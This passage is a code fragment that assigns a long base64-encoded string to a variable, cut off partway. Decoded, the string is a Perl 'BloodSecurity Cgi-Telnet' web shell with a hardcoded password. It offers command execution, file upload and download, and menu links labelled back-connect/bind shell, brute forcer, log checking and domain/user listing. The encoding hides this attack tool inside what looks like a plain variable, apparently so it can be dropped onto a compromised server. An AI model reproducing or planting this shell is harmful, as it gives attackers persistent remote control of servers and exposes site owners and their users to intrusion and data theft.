$cgi4e = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iQmxvb2RTZWN1cml0eSI7DQoNCiRQYXNzd29yZCA9ICJkNHJrajFuIjsJCQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVkIHRvIGVudGVyIHRoaXMNCgkJCQkjIHRvIGxvZ2luLg0Kc3ViIElzX1dpbigpew0KCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX1lbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQokV2luTlQgPSAmSXNfV2luKCk7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVA0KCQkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENtZFNlcCA9ICImIjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4NCg0KJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJCSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCiRjb2xzPSAxMzA7DQokcm93cz0gMjY7DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpDQoJew0KCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCgl9DQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpDQoJew0KCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7DQoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQoJfQ0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIiIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgZnVuY3Rpb24gRW5jb2RlRGlyOiBlbmNvZGUgYmFzZTY0IFBhdGgNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFbmNvZGVEaXINCnsNCglteSAkZGlyID0gc2hpZnQ7DQoJJGRpciA9IHRyaW0oZW5jb2RlX2Jhc2U2NCgkZGlyKSk7DQoJJGRpciA9fiBzLyhccnxcbikvLzsNCglyZXR1cm4gJGRpcjsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyDQojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VIZWFkZXINCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGlkID0gYGlkYCBpZighJFdpbk5UKTsNCglteSAkaW5mbyA9IGB1bmFtZSAtcyAtbiAtciAtaWA7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KPHRpdGxlPkJsb29kU2VjdXJpdHkgQ2dpLVRlbG5ldCBbICRWZXJzaW9uIF08L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZmY7DQp9DQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCn0NCiNkb21haW4gdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Ow0KfQ0KdGQgew0KY29sb3I6ICMyQkE4RUM7DQp9DQoubGlzdGRpciB0ZHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQoubGlzdGRpciB0aHsNCgljb2xvcjogI0ZGOTkwMDsNCn0NCi5kaXIsLmZpbGUNCnsNCgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7DQp9DQouZGlyew0KCWZvbnQtc2l6ZTogMTBwdDsgDQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQp0YWJsZSB7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KaW5wdXQgew0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCmNvZGUgew0KYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogd2hpbGU7DQp9DQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCnRleHRhcmVhIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpDQp7DQoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7DQoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7DQoJcmV0dXJuIHRydWU7DQp9DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4NCgkJPGI+PGZvbnQgc2l6ZT0iMyI+by0tLVsgICRFZGl0UGVyc2lvbiBdLS0tbzwvZm9udD48L2I+DQoJPC90ZD4NCgk8dGQ+DQoJCSRpbmZvDQoJPC90ZD4NCgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmY5OTAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmOTkwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiPg0KJGlkDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI0ZGRkZGRiIgPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTE